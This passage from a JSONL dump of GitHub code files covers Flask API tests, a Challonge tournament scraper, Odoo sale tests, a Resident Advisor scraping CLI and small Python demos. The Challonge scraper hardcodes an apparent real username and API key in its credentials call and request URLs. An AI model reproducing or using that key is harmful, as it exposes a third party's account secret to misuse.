creates new user for testing\n    def create_test_user(user):\n        # create and insert new user\n        user = User(name=user['name'],\n                    username=user['username'],\n                    user_id=user['user_id'],\n                    date_added=user['date_added'],\n                    role=user['role'])\n\n        user.insert()\n\n        return user.id\n\n    # deletes all entries from database\n    def clear_database(self):\n        # get and delete any plants and observations in database\n        observations = Observation.query.all()\n        for observation in observations:\n            observation.delete()\n\n        plants = Plant.query.all()\n        for plant in plants:\n            plant.delete()\n\n    # generates random string\n    def gen_random_string():\n        return str(os.urandom(10))\n\n    # sample plant for use in tests\n    test_plant = {\n        'name': gen_random_string(),\n        'latinName': gen_random_string(),\n        'description': gen_random_string(),\n        'imageLink': gen_random_string()\n    }\n\n    # sample observation for use in tests\n    test_observation = {\n        'date': datetime.datetime.now(),\n        'notes': gen_random_string()\n    }\n\n    # IDs for test users (already in database)\n    ADMIN_ID = 1\n    PUBLIC_ID = 27\n\n    # PLANT tests\n\n    def test_get_plant_failure(self):\n        \"\"\"Tests GET plants failure\"\"\"\n\n        # ensure database is empty\n        self.clear_database()\n\n        # get response and load data\n        response = self.client().get('/api/plants')\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 404)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'resource not found')\n\n    def test_get_plants(self):\n        \"\"\"Tests GET plants success\"\"\"\n\n        # create a new plant to ensure database isn't empty\n        self.create_test_plant(self.ADMIN_ID)\n\n        # get response and load data\n        response = self.client().get('/api/plants')\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(data['success'], True)\n\n        # check that data returned for plants\n        self.assertTrue(data['plants'])\n\n    def test_post_plant_success(self):\n        \"\"\"Tests POST new plant success\"\"\"\n\n        # get headers using ADMIN token\n        headers = self.create_auth_headers(token=self.ADMIN_ROLE_TOKEN)\n\n        test_plant = self.test_plant\n        test_plant['user_id'] = self.ADMIN_ID\n\n        # get response and load data\n        response = self.client().post('/api/plants/new', json=test_plant,\n                                      headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(data['success'], True)\n\n    def test_post_plant_failure(self):\n        \"\"\"Tests POST new plant failure\"\"\"\n\n        # get headers using ADMIN token\n        headers = self.create_auth_headers(token=self.ADMIN_ROLE_TOKEN)\n\n        # get response with empty json and load data\n        response = self.client().post('/api/plants/new', json={},\n                                      headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 422)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'unprocessable')\n\n    def test_patch_plant_success(self):\n        \"\"\"Tests PATCH plant success\"\"\"\n\n        # create a new plant to be updated and store plant id\n        plant_id = self.create_test_plant(self.ADMIN_ID)\n\n        # get headers using ADMIN token\n        headers = self.create_auth_headers(token=self.ADMIN_ROLE_TOKEN)\n\n        # set json data\n        request_data = {\n            'name': 'PATCH TEST',\n            'latinName': None,\n            'description': None,\n            'imageLink': None\n        }\n\n        # get response with updated name json and load data\n        response = self.client().patch('/api/plants/{}/edit'.format(plant_id),\n                                       json=request_data,\n                                       headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertEqual(data['plant']['name'], 'PATCH TEST')\n\n    def test_patch_plant_failure(self):\n        \"\"\"Tests PATCH plant failure\"\"\"\n\n        # create a new plant to be updated and store plant id\n        plant_id = self.create_test_plant(self.ADMIN_ID)\n\n        # get headers using ADMIN token\n        headers = self.create_auth_headers(token=self.ADMIN_ROLE_TOKEN)\n\n        # set malformed json data\n        request_data = {\n            'nome': 'PATCH TEST',\n            'latinName': None,\n            'description': None,\n            'imageLink': None\n        }\n\n        # get response with malformed json and load data\n        response = self.client().patch('/api/plants/{}/edit'.format(plant_id),\n                                       json=request_data,\n                                       headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 422)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'unprocessable')\n\n    def test_patch_or_delete_plant_not_found(self):\n        \"\"\"Tests 404 error for PATCH or DELETE plant\"\"\"\n\n        # get headers using ADMIN token\n        headers = self.create_auth_headers(token=self.ADMIN_ROLE_TOKEN)\n\n        # DELETE\n        # attempt to delete nonexisting plant and store response\n        response = self.client().delete('/api/plants/1000/edit',\n                                        headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 404)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'resource not found')\n\n        # PATCH\n        # attempt to patch nonexisting plant and store response\n        response = self.client().patch('/api/plants/1000/edit',\n                                       headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 404)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'resource not found')\n\n    def test_delete_plant_success(self):\n        \"\"\"Tests DELETE plant success\"\"\"\n\n        # create a new plant to be deleted and store plant id\n        plant_id = self.create_test_plant(self.ADMIN_ID)\n\n        # get headers using ADMIN token\n        headers = self.create_auth_headers(token=self.ADMIN_ROLE_TOKEN)\n\n        # delete the plant and store response\n        response = self.client().delete('/api/plants/{}/edit'.format(plant_id),\n                                        headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and success message\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(data['success'], True)\n\n        # check if plant and name match deleted plant\n        self.assertEqual(data['plant_name'], self.test_plant['name'])\n        self.assertEqual(data['plant_id'], plant_id)\n\n    # OBSERVATION tests\n\n    def test_get_observations_failure(self):\n        \"\"\"Tests GET observations failure\"\"\"\n\n        # ensure database is empty\n        self.clear_database()\n\n        # get response and load data\n        response = self.client().get('/api/observations')\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 404)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'resource not found')\n\n    def test_get_observations_success(self):\n        \"\"\"Tests GET observations success\"\"\"\n\n        # ensure database is not empty by adding a plant and observation\n\n        # create a new plant and store plant id\n        plant_id = self.create_test_plant(self.ADMIN_ID)\n\n        # create and insert new observation using plant id\n        self.create_test_observation(plant_id, self.PUBLIC_ID)\n\n        # get response and load data\n        response = self.client().get('/api/observations')\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(data['success'], True)\n\n        # check that data returned for observations\n        self.assertTrue(data['observations'])\n\n    def test_post_observation_success(self):\n        \"\"\"Tests POST observation success\"\"\"\n\n        # get headers using PUBLIC token\n        headers = self.create_auth_headers(token=self.PUBLIC_ROLE_TOKEN)\n\n        # create new plant for observation\n        plant_id = self.create_test_plant(self.ADMIN_ID)\n\n        # create a new observation json using test plant\n        observation = {\n            'user_id': self.PUBLIC_ID,\n            'date': self.test_observation['date'],\n            'plantID': plant_id,\n            'notes': self.test_observation['notes']\n        }\n\n        # get response and load data\n        response = self.client().post('/api/observations/new',\n                                      json=observation,\n                                      headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(data['success'], True)\n\n    def test_post_observation_failure(self):\n        \"\"\"Tests POST observation failure\"\"\"\n\n        # get headers using PUBLIC token\n        headers = self.create_auth_headers(token=self.PUBLIC_ROLE_TOKEN)\n\n        # send request using test_observation, which is missing plant_id and user_id\n        # get response and load data\n        response = self.client().post('/api/observations/new',\n                                      json=self.test_observation,\n                                      headers=headers)\n\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 422)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'unprocessable')\n\n    def test_patch_observation_success(self):\n        \"\"\"Tests PATCH observation success\"\"\"\n\n        # create a new plant and store plant id\n        plant_id = self.create_test_plant(self.ADMIN_ID)\n\n        # create and insert new observation using plant id\n        observation_id = self.create_test_observation(\n            plant_id, self.PUBLIC_ID)\n\n        # get headers using PUBLIC token\n        headers = self.create_auth_headers(token=self.PUBLIC_ROLE_TOKEN)\n\n        # set json data for observation patch with updated name\n        request_data = {\n            'date': None,\n            'notes': 'PATCH TEST'\n        }\n\n        # get response with updated name json and load data\n        response = self.client().patch('/api/observations/{}/edit'\n                                       .format(observation_id),\n                                       json=request_data,\n                                       headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertEqual(data['observation']['notes'], 'PATCH TEST')\n\n    def test_patch_observation_failure(self):\n        \"\"\"Tests PATCH observation failure\"\"\"\n\n        # create a new plant and store plant id\n        plant_id = self.create_test_plant(self.ADMIN_ID)\n\n        # create and insert new observation using plant id\n        observation_id = self.create_test_observation(\n            plant_id, self.PUBLIC_ID)\n\n        # get headers using PUBLIC token\n        headers = self.create_auth_headers(token=self.PUBLIC_ROLE_TOKEN)\n\n        # set malformed json data for observation patch - date key missing\n        request_data = {\n            'plantID': plant_id,\n            'notes': None\n        }\n\n        # get response with updated name json and load data\n        response = self.client().patch('/api/observations/{}/edit'\n                                       .format(observation_id),\n                                       json=request_data,\n                                       headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 422)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'unprocessable')\n\n    def test_delete_observation_success(self):\n        \"\"\"Tests DELETE observation success\"\"\"\n\n        # create a new plant and store plant id\n        plant_id = self.create_test_plant(self.ADMIN_ID)\n\n        # create and insert new observation using plant id\n        observation_id = self.create_test_observation(\n            plant_id, self.PUBLIC_ID)\n\n        # get headers using PUBLIC token\n        headers = self.create_auth_headers(token=self.PUBLIC_ROLE_TOKEN)\n\n        # get response with updated name json and load data\n        response = self.client().delete('/api/observations/{}/edit'\n                                        .format(observation_id),\n                                        headers=headers)\n        data = json.loads(response.data)\n\n        # check status code and message\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(data['success'], True)\n\n        # check if id matches deleted observation\n        self.assertEqual(data['observation_id'], observation_id)\n\n    def test_patch_or_delete_observation_not_found(self):\n        \"\"\"Tests 404 not found error for PATCH or DELETE observation\"\"\"\n\n        # get headers using PUBLIC token\n        headers = self.create_auth_headers(token=self.PUBLIC_ROLE_TOKEN)\n\n        # attempt to delete nonexisting observation and store response\n        response = self.client().delete('/api/observations/1000/edit',\n                                        headers=headers)\n\n        # check status code\n        self.assertEqual(response.status_code, 404)\n\n\n# Make the tests conveniently executable\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"alexsandberg/plant-survey-app","sub_path":"test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":16815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23874213564","text":"# challonge.py\r\n\r\n# Using the challonge API python wrapper, created by -russ\r\n# Get the list of participants and the list of matches\r\n# Loop through matches, get participants IDs, and use participants list to match to their display names\r\n# Get the score, check for errors in scorekeeping\r\n# Create final string\r\n\r\nfrom BeautifulSoup import BeautifulSoup\r\nimport requests\r\nfrom lib import challonge\r\n\r\ndef scrape(tournament, cleaner):\r\n\tprint(\"Challonge Scrape:  \" + tournament.name)\r\n\r\n\tnewMatches = []\r\n\r\n\t# Start the challonge api wrapper\r\n\tchallonge.set_credentials(\"madmattstats\", \"rK5Qd346EsIekQHQtkWFpfUg7r5RCHQbyAH3JO6K\")\r\n\r\n\t# Get link from tournament object\r\n\tlink = tournament.link\r\n\r\n\t# Try to get subdomain, if none exists, then make it an empty string\r\n\ttry:\r\n\t\tsubdomain = link[ link.index(\"//\") + 2 : link.index(\".challonge\")] + \"-\"\r\n\texcept ValueError:\r\n\t\tsubdomain = \"\"\r\n\t# Get tourney url\r\n\ttourneyURL = link[ link.index(\".com/\") + 5 :-2]\r\n\turl = subdomain + tourneyURL\r\n\r\n\r\n\t# Get participants\r\n\tparticipantsApiCall = \"https://madmattstats:rK5Qd346EsIekQHQtkWFpfUg7r5RCHQbyAH3JO6K@api.challonge.com/v1/tournaments/\" + url + \"/participants.json\"\r\n\ttry:\r\n\t\tplayers = requests.get(participantsApiCall).json()\r\n\texcept ValueError:\r\n\t\treturn False\r\n\t# Get matches\r\n\tmatchesApiCall = \"https://madmattstats:rK5Qd346EsIekQHQtkWFpfUg7r5RCHQbyAH3JO6K@api.challonge.com/v1/tournaments/\" + url + \"/matches.json\"\r\n\tmatches = requests.get(matchesApiCall).json()\r\n\r\n\t# Loop through matches\r\n\tfor match in matches:\r\n\r\n\t\ttry:\r\n\t\t\t# If match is not complete, then skip\r\n\t\t\tif(match['match']['state'] != \"complete\"):\r\n\t\t\t\tprint(\"Incomplete Match\")\r\n\t\t\t\tbreak\r\n\t\texcept TypeError:\r\n\t\t\tprint(\"Error: TypeError at \" + tournament.name)\r\n\t\t\tbreak\r\n\r\n\t\t# Get info from match object\r\n\t\tplayer1ID = match['match']['player1_id']\r\n\t\tplayer2ID = match['match']['player2_id']\r\n\t\tscore = match['match']['scores_csv']\r\n\r\n\t\t# Find matching playerID in participants list and then get display name from that\r\n\t\tplayer1 = None\r\n\t\tplayer2 = None\r\n\t\tfor player in players:\r\n\t\t\tif(player['participant']['id'] == player1ID):\r\n\t\t\t\tplayer1 = player['participant']['display_name']\r\n\t\t\tif(player['participant']['id'] == player2ID):\r\n\t\t\t\tplayer2 = player['participant']['display_name']\r\n\t\t\tif(player1 != None and player2 != None):\r\n\t\t\t\tbreak\r\n\r\n\t\t# Skip if there was no matching ID\r\n\t\tif(player1 == None or player2 == None):\r\n\t\t\tcontinue\r\n\r\n\t\t# Clean names\r\n\t\tplayer1 = cleaner.cleanName(player1)\r\n\t\tplayer2 = cleaner.cleanName(player2)\r\n\r\n\t\t# Skip this match if the name is too shitty\r\n\t\tif(player1 == False or player2 == False):\r\n\t\t\tcontinue\r\n\r\n\t\t# If the first score is negative then its a DQ\r\n\t\tif(score[0] == \"-\"):\r\n\t\t\tprint(\"DQ\")\r\n\t\t\tcontinue\r\n\r\n\t\t# Extract scores from score\r\n\t\tscore1 = score[:score.index(\"-\")]\r\n\t\tscore2 = score[score.index(\"-\")+1:]\r\n\t\t\r\n\t\t# If the second score is negative, then its a DQ\r\n\t\tif(int(score2) < 0):\r\n\t\t\tprint(\"DQ\")\r\n\t\t\tcontinue\r\n\r\n\t\t# Assign winner and create final score\r\n\t\tif(int(score1) > int(score2)):\r\n\t\t\twinner = player1\r\n\t\t\tloser = player2\r\n\t\t\tscore = score1 + \"-\" + score2\r\n\t\telse:\r\n\t\t\twinner = player2\r\n\t\t\tloser = player1\r\n\t\t\tscore = score2 + \"-\" + score1\r\n\r\n\t\t# Put this here to account for idiots who put stuff like 9000-0 for score\r\n\t\tif len(score) > 3:\r\n\t\t\tscore = \"x-x\"\r\n\r\n\t\toutput = winner + \",\" + loser + \",\" + score + \",\" + tournament.name\r\n\t\tprint(output)\r\n\t\tnewMatches.append(output)\r\n\r\n\r\n\r\n\tif(len(newMatches) > 0):\r\n\t\treturn newMatches\r\n\telse:\r\n\t\treturn False\r\n\t\r\n","repo_name":"madenney/old-smash-scraper","sub_path":"scrapers/challongeScraper.py","file_name":"challongeScraper.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"28341622990","text":"import tkinter as tk\r\n\r\nroot = tk.Tk()\r\nframe = tk.Frame(root)\r\nframe.pack()\r\nvar = tk.StringVar()\r\nvar.set('hello world!')\r\n\r\ndef call():\r\n\tvar.set(\"joke me!\")\r\n\r\ntextlabel = tk.Label(root, textvariable=var)\r\ntextlabel.pack()\r\ntestButton = tk.Button(root, text='hi motherfucker', command=call)\r\ntestButton.pack()\r\ntestButton2 = tk.Button(root,textvariable = var,command = root.destroy)\r\ntestButton2.pack()\r\nroot.mainloop()\r\n\r\n\r\n","repo_name":"GreyElec/Python-Code-examply","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6989804421","text":"from odoo.exceptions import UserError\nfrom odoo.tests import Form, tagged\n\nfrom .common import AnuncioslumicolorCase\n\n\n@tagged(\"post_install\", \"-at_install\")\nclass TestSale(AnuncioslumicolorCase):\n    @classmethod\n    def setUpClass(cls):\n        super().setUpClass()\n        cls.test_user = cls.env.ref(\"base.user_demo\")\n        cls.env = cls.env(user=cls.test_user)\n        cls.group_allow_sale_products = cls.env.ref(\"anuncioslumicolor.group_allow_sale_products\")\n        cls.group_discount_per_so_line = cls.env.ref(\"product.group_discount_per_so_line\")\n        cls.test_user.groups_id |= cls.group_discount_per_so_line\n\n    def test_01_modify_price_unit(self):\n        \"\"\"Testing that the user can't sell products with more than 10% of the price marked on he price list,\n        in this case we modify the price_unit\"\"\"\n        sale_order = self.create_sale_order(self.customer)\n        # Verify that creating a sale without any modification does not give an error.\n        self.create_new_sale_order_line_form(sale_order, self.product)\n        error_msg = \"Unable to make the sale due to underselling the product, contact sales manager\"\n        with self.assertRaisesRegex(UserError, error_msg):\n            # A sale is created by changing the price unit\n            self.create_new_sale_order_line_form(sale_order, self.product, price=600)\n        # Verify that adding the user at the group can make the sale order\n        self.test_user.groups_id |= self.group_allow_sale_products\n        with Form(sale_order) as order:\n            with order.order_line.edit(0) as line:\n                line.price_unit = 600\n        sale_order_line = sale_order.order_line[0]\n        self.assertEqual(sale_order_line.price_unit, 600)\n\n    def test_02_add_more_discount_than_10(self):\n        \"\"\"Testing that the user can't sell products with more than 10% of discount,\n        in this case we add a discount greater than 10\"\"\"\n        sale_order = self.create_sale_order(self.customer)\n        error_msg = \"Unable to make the sale due to underselling the product, contact sales manager\"\n        with self.assertRaisesRegex(UserError, error_msg):\n            # A sale is created by adding more discount than 10%\n            self.create_new_sale_order_line_form(sale_order, self.product, discount=15)\n\n    def test_03_modify_price_add_discount(self):\n        \"\"\"Testing that the user can't sell products with more than 10% of discount,\n        in this case we modify the price_unit and add a discount in total the price drops more than 10%.\"\"\"\n        sale_order = self.create_sale_order(self.customer)\n        error_msg = \"Unable to make the sale due to underselling the product, contact sales manager\"\n        with self.assertRaisesRegex(UserError, error_msg):\n            # A sale is created by changing the price unit and adding a discount\n            self.create_new_sale_order_line_form(sale_order, self.product, price=700, discount=5)\n","repo_name":"lumi-marco/anuncioslumicolor","sub_path":"anuncioslumicolor/tests/test_sale.py","file_name":"test_sale.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"19763500823","text":"from kps_moodit import hae_moodi\n\ndef main():\n    while True:\n        print(\"Valitse pelataanko\"\n              \"\\n (a) Ihmistä vastaan\"\n              \"\\n (b) Tekoälyä vastaan\"\n              \"\\n (c) Parannettua tekoälyä vastaan\"\n              \"\\n (d) Näytösottelu\"\n              \"\\nMuilla valinnoilla lopetetaan\"\n              )\n\n        peli = hae_moodi(\n            input()\n        )\n\n        if peli is not None:\n            print(\n                \"Peli loppuu kun pelaaja antaa virheellisen siirron eli jonkun muun kuin k, p tai s\"\n            )\n            peli.pelaa()\n        else:\n            break\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"sainigma/ohtu-2021","sub_path":"viikko7/kivi-paperi-sakset/src/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"39953398141","text":"\"\"\"\nAuthor : Pierre Chemla & Elie Ganancia\n\nThis script is main script of our scrapping project.\nBased on CLI argumentsof the user it will launch the scrapping of the Web site residentadvisor.net\n\n\n\"\"\"\n\nimport Artist_Label_Web_Scrapping_RA as sp\nimport Event_Club_Web_Scrapping_RA as se\nimport SQL_Web_Scrapping_RA as ra_sql\nimport update_fb as fb\nimport API_Meteo_Web_Scrapping_RA as api_meteo\nfrom Logger_Web_Scrapping_RA import Scrappy_logger\nfrom Logger_Web_Scrapping_RA import Scrappy_info\nimport pandas as pd\nimport argparse\nimport os\n\nDB_FILENAME = \"Data_Resident_Advisor_2\"\nFILE_LOG = \"RA_Scrappy.log\"\n\nparser = argparse.ArgumentParser(usage=\"main_scrapping.py [-scrap_labels] [-scrap_artists] [-scrap_events] \"\n                                       \"[-scrap_clubs] [-get_csv]\"\n                                       \" \\n /// This program will ask to Scrappy Coco to get some information\"\n                                       \" from the website Resident Advisor. \\n If the user do not specify options,\"\n                                       \" it will scrap everything and store it in a database. \\n\"\n                                       \"Option Description : \\n\"\n                                       \"-scrap_labels : specify this option if you want to scrap labels \\n\"\n                                       \"-scrap_artists : specify this option if you want to scrap artists \\n\"\n                                       \"-scrap_events : specify this option if you want to scrap events \\n\"\n                                       \"-scrap_clubs : specify this option if you want to scrap clubs \\n\"\n                                       \"-erase_database : specify this option if you want to delete your \\n\"\n                                       \"-get_external_data : specify this option if you want to add external \"\n                                       \"data such as spotify data and meteo data \\n\"\n                                       \"resident advisor database \\n\"\n                                       \"\\n Usage example : (1) main_scrapping.py \"\n                                       \"-scrap_labels -scrap_artists \\n (2) main_scrapping.py \\n\"\n                                       \"(3) main_scrapping.py -scrap_labels -get_csv /// \")\n\nparser.add_argument('-scrap_labels', action=\"store_true\", default=False)\nparser.add_argument('-scrap_artists', action=\"store_true\", default=False)\nparser.add_argument('-scrap_events', action=\"store_true\", default=False)\nparser.add_argument('-scrap_clubs', action=\"store_true\", default=False)\nparser.add_argument('-erase_database', action=\"store_true\", default=False)\nparser.add_argument('-get_external_data', action=\"store_true\", default=False)\n\npd.set_option('display.max_columns', 500)\n\nif os.path.exists(FILE_LOG):\n    os.remove(FILE_LOG)\n\nscrappy_log = Scrappy_logger()\nscrappy_info = Scrappy_info()\n\n\ndef launch_scrapping(labels_, artists_, events_, clubs_, erase_, external_api_):\n    \"\"\"\n    This function launches the scrapping of Scrappy. Based on the argument of the user it will scrapps some parts of\n    the Website resident advisor.\n    @param labels_: if true, scrappy will scrapp labels\n    @type labels_: Boolean\n    @param artists_: if true, scrappy will scrapp artists\n    @type artists_: Boolean\n    @param events_: if true, scrappy will scrap events\n    @type events_: Boolean\n    @param clubs_: if true, scrappy will scrapp clubs\n    @type clubs_: Boolean\n    @param erase_: if true, scrappy will erase the database and create a new one before scrapping\n    @type erase_: Boolean\n    @param external_api_: if true, scrappy will also get external data (Facebok data and Spotify data)\n    @type external_api_: Boolean\n    @return: nothing\n    @rtype: na\n    \"\"\"\n\n    if erase_:\n        ra_sql.erase_database(DB_FILENAME)\n\n    ra_sql.database_check(DB_FILENAME)\n\n    if labels_:\n        url_labels = \"https://www.residentadvisor.net/labels.aspx?show=all\"\n        data_labels = sp.get_labels(url_labels, scrappy_info, scrappy_log)\n        scrappy_info.info(\"\\n\")\n        scrappy_info.info(\"Scrappy Coco just found a listing of all labels in Resident Advisor \"\n              \"({0} labels)\".format(data_labels.shape[0]))\n        scrappy_info.info(\"Please find below a sample of labels found : \\n\")\n        scrappy_info.info(data_labels.head(10))\n        scrappy_info.info(\"\\n\")\n        scrappy_info.info(\"Thanks to Scrappy Coco, we have a listing of labels. \\n But he can do \"\n              \"better !!! \\n Scrappy Coco will now get some details \"\n              \"for each of these labels \\n\")\n        data_labels_information = sp.get_label_information(data_labels, DB_FILENAME, scrappy_info, scrappy_log)\n    else:\n        data_labels = None\n        data_labels_information = None\n\n    if artists_:\n        url_artists = \"https://www.residentadvisor.net/dj.aspx\"\n        data_artists = sp.get_artists(url_artists, scrappy_info, scrappy_log)\n        scrappy_info.info(\"\\n\")\n        scrappy_info.info(\"Scrappy Coco just found a listing of all artists in Resident Advisor \"\n              \"({0} labels)\".format(data_artists.shape[0]))\n        scrappy_info.info(\"Please find below a sample of artists found : \\n\")\n        scrappy_info.info(data_artists.head(10))\n        scrappy_info.info(\"\\n Thanks to Scrappy Coco, we have a listing of artists. \\n But he can do \"\n              \"better !!! \\n Scrappy Coco will now get some details \"\n              \"for each of these artist \\n\")\n        data_artists_information = sp.get_artist_information(data_artists, DB_FILENAME, scrappy_info, scrappy_log)\n\n        ra_sql.insert_artist(data_artists, DB_FILENAME)\n        if external_api_:\n            ra_sql.update_artist_info(DB_FILENAME)\n            ra_sql.insert_artist_track(DB_FILENAME)\n    else:\n        data_artists = None\n        data_artists_information = None\n\n    if events_:\n        data_countries = se.get_countries()\n        scrappy_info.info(\"As required, Scrappy Coco will now get some details \"\n              \"for each events (parties) on Resident Advisor\")\n        scrappy_info.info(\"!!!! You may have time to buy a coffee, please do not forget to bring one for \"\n              \"Scrappy Coco (Americano) :) !!!!!! \\n\")\n        data_events = se.get_events(data_countries,DB_FILENAME, scrappy_info, scrappy_log)\n        if external_api_:\n            data_meteo = api_meteo.get_meteo_information(DB_FILENAME)\n            ra_sql.insert_meteo(data_meteo, DB_FILENAME)\n\n            data_fb = fb.get_facebook_data(DB_FILENAME)\n            fb.update_events_fb(data_fb, \"Data_Resident_Advisor\")\n    else:\n        data_events = None\n\n    if clubs_:\n        data_countries_id = se.get_countries_id(scrappy_info, scrappy_log)\n        scrappy_info.info(\"As required, Scrappy Coco will now get some details \"\n              \"for each clubs on Resident Advisor\")\n        scrappy_info.info(\"!!!! You may have time to buy a coffee, please do not forget to bring one for \"\n              \"Scrappy Coco (Americano) :) !!!!!! \\n\")\n        data_clubs = se.get_clubs(data_countries_id,DB_FILENAME, scrappy_info, scrappy_log)\n    else:\n        data_clubs = None\n\n\ndef main():\n    \"\"\"\n    This function parse the user argument and calls the launch_scrapping() function. It also log/print some welcome\n    message to the user\n    @return: nothing\n    @rtype: na\n    \"\"\"\n    args = parser.parse_args()\n    label_arg = False\n    club_arg = False\n    event_arg = False\n    artist_arg = False\n    erase_arg = False\n    external_info = False\n\n    scrappy_info.info(\"\\n !!! Hello !!!! \\n\")\n    scrappy_info.info(\"My name is Scrappy Coco, I can scrap many things on Resident Advisor. I can \"\n          \"also do many other things but it is not relevant for now :) \")\n    scrappy_info.info(\"(Sometimes I speak of me in the third person, please don't judge me !!) \\n\")\n\n    scrappy_log.info(\"SCRAPPY IS READY TO WORK !!! LET'S SCRAPP\")\n\n    if (not args.scrap_labels) and (not args.scrap_events) and (not args.scrap_clubs) and (not args.scrap_artists):\n        scrappy_info.info(\"You did not specified which information to scrapp (artists/club/event/label).\")\n        scrappy_info.info(\"Scrappy Coco will scrapp everything on Resident Advisor \\n\")\n        scrappy_info.info(\"!!!! You may have time to buy a coffee, please do not forget to bring one for \"\n              \"Scrappy Coco (Americano) :) !!!!!! \\n\")\n        launch_scrapping(True, True, True, True, True,True)\n    else:\n        if args.scrap_labels:\n            scrappy_info.info(\"Your required the scrapping of labels \\n\")\n            label_arg = True\n        if args.scrap_clubs:\n            scrappy_info.info(\"You required the scrapping of clubs \\n\")\n            club_arg = True\n        if args.scrap_events:\n            scrappy_info.info(\"You required the scrapping of events \\n\")\n            event_arg = True\n        if args.scrap_artists:\n            scrappy_info.info(\"You required the scrapping of artists \\n\")\n            artist_arg = True\n        if args.erase_database:\n            scrappy_info.info(\"You required the deletion of your resident advisor \\n\")\n            erase_arg = True\n        if args.get_external_data:\n            scrappy_info.info(\"Your required some data from external sources/api \\n\")\n            external_info = True\n        launch_scrapping(label_arg, artist_arg, event_arg, club_arg, erase_arg, external_info)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"elieganancia/Web_Scrapping_RA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14309326698","text":"import random\nimport pprint\nfrom functools import reduce\n\nRootRoom = ((0,0),(480,320))\n\ndef get_area(Room):\n    XLen = Room[1][0] - Room[0][0]\n    YLen = Room[1][1] - Room[0][1]\n    return XLen * YLen\n\n\ndef determine_long_side(Room):\n    XLen = Room[1][0] - Room[0][0]\n    YLen = Room[1][1] - Room[0][1]\n\n    if XLen >= YLen:\n        LongSide = (XLen, 'X')\n    else:\n        LongSide = (YLen, 'Y')\n\n    return LongSide\n\ndef define_divide_line(RootRoom, LongSide):\n    Offset = round(\n            LongSide[0] * random.uniform(0.4,0.6))\n    Axis = LongSide[1]\n    if Axis == 'X':\n        Point = RootRoom[0][0] + Offset\n    elif Axis == 'Y':\n        Point = RootRoom[0][1] + Offset\n    return(Point, Axis)\n\ndef divide_room(ParentRoom, DivideLine):\n    LeftChildRoomStart = ParentRoom[0]\n    RightChildRoomEnd = ParentRoom[1]\n\n    if DivideLine[1] == 'X':\n        LeftChildRoomEnd = (\n                DivideLine[0],\n                ParentRoom[1][1])\n        RightChildRoomStart = (\n                DivideLine[0],\n                ParentRoom[0][1])\n    elif DivideLine[1] == 'Y':\n        LeftChildRoomEnd = (\n                ParentRoom[1][0],\n                DivideLine[0])\n        RightChildRoomStart = (\n                ParentRoom[0][0],\n                DivideLine[0])\n    \n    Partition = (\n            RightChildRoomStart,\n            LeftChildRoomEnd)\n    LeftChildRoom = (\n            LeftChildRoomStart,\n            LeftChildRoomEnd)\n    RightChildRoom = (\n            RightChildRoomStart,\n            RightChildRoomEnd)\n    return ([LeftChildRoom,\n            RightChildRoom],\n            Partition)\n\ndef gen_room_hierarchy(\n        RootRoom,\n        RoomFrameData,\n        RoomSize=5000,\n        Tier=0,\n        BrosID=0):\n    Tier += 1\n    if get_area(RootRoom) <= RoomSize:\n        ID = len(RoomFrameData[\"BinaryRoomTree\"])\n        RoomFrameData[\"BinaryRoomTree\"][str(ID)] = {\n            \"ID\":ID,\n            \"Tier\":Tier,\n            \"Room\":RootRoom,\n            